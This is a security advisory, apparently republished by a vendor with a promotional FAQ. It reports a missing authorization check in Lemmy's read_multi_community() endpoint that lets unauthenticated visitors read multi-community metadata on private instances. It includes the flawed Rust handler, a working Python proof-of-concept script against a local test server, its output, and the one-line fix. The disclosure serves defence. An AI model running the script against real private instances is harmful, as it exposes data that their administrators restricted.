GHSA-JMXC-HHWX-GVV3

NOTE: Only affects development version.

read_multi_community() does not enforce the private-instance setting. On a private instance, an unauthenticated visitor can read multi-community names, titles, summaries, sidebars, owner identities, and member community lists.

Details

Other read handlers load local_site and call check_private_instance() before returning data to unauthenticated callers. read_multi_community() does not call that helper:

pub async fn read_multi_community(
  Query(data): Query<GetMultiCommunity>,
  context: Data<LemmyContext>,
  local_user_view: Option<LocalUserView>,
) -> LemmyResult<Json<GetMultiCommunityResponse>> {
  let my_person_id = local_user_view.as_ref().map(|l| l.person.id);
  let id = resolve_multi_community_identifier(&data.name, data.id, &context, &local_user_view)
    .await?
    .ok_or(LemmyErrorType::NoIdGiven)?;
  let multi_community_view =
    MultiCommunityView::read(&mut context.pool(), id, my_person_id).await?;

get_community(), list_posts(), list_comments(), read_person(), search(), and resolve_object() all enforce the private-instance guard.

Proof of Concept

The script creates a multi-community whose metadata contains a marker, turns on private_instance, confirms a guarded control endpoint blocks unauthenticated callers, then reads the same multi-community over GET /multi_community without authentication.

#!/usr/bin/env python3
import json, random, string
import requests

BASE       = "http://127.0.0.1:8536/api/v4"
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"

def api(method, path, token=None, **kw):
    h = kw.pop("headers", {})
    if token: h["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=h, **kw)

suffix = "multi" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
secret = "SECRET_MULTI_" + suffix

admin = api("POST", "/account/auth/login", json={"username_or_email": ADMIN_USER, "password": ADMIN_PASS}).json()["jwt"]

# Create a multi-community whose title/summary/sidebar embed the marker.
mid = api("POST", "/multi_community", admin, json={
    "name": "m" + suffix, "title": secret,
    "summary": secret + " summary", "sidebar": secret + " sidebar",
}).json()["multi_community_view"]["multi"]["id"]

# Enable private_instance.
api("PUT", "/site", admin, json={"private_instance": True})

print("private_instance:", api("GET", "/site").json()["site_view"]["local_site"]["private_instance"])

# Control: a comparable read endpoint correctly rejects unauthenticated callers.
control = api("GET", "/community/list")
print("unauth /community/list (control):", control.status_code, control.text[:120])

# Leak: read_multi_community returns the private metadata to an unauthenticated caller.
leak = api("GET", "/multi_community", params={"id": mid})
print("unauth /multi_community:", leak.status_code, leak.text[:300])
print("contains secret:", secret in leak.text)

Output:

private_instance: True
unauth /community/list (control): 400 {"error":"instance_is_private","cause":"InstanceIsPrivate"}
unauth /multi_community: 200 {"multi_community_view":{"multi":{"title":"SECRET_MULTI_multijwxokm","summary":"SECRET_MULTI_multijwxokm summary","sidebar":"SECRET_MULTI_multijwxokm sidebar"}}}
contains secret: True

The control request shows the privacy setting is active. The multi-community endpoint still returns the private metadata.

An unauthenticated visitor can read multi-community metadata from an instance whose admin configured the site as private. The exposed fields include names, titles, summaries, sidebars, owner identities, and member community lists.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

GHSA-JMXC-HHWX-GVV3 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Load local_site at the start of read_multi_community() and call check_private_instance(&local_user_view, &local_site)? before resolving or reading the multi-community.

Found by aisafe.io

1. What is GHSA-JMXC-HHWX-GVV3? GHSA-JMXC-HHWX-GVV3 is a medium-severity missing authorization vulnerability in lemmy_api (rust), affecting versions <= 0.19.1-rc.1. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is GHSA-JMXC-HHWX-GVV3? GHSA-JMXC-HHWX-GVV3 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lemmy_api are affected by GHSA-JMXC-HHWX-GVV3? lemmy_api (rust) versions <= 0.19.1-rc.1 is affected.
4. Is there a fix for GHSA-JMXC-HHWX-GVV3? No fixed version is listed for GHSA-JMXC-HHWX-GVV3 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-JMXC-HHWX-GVV3 exploitable, and should I be worried? Whether GHSA-JMXC-HHWX-GVV3 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-JMXC-HHWX-GVV3 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-JMXC-HHWX-GVV3? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.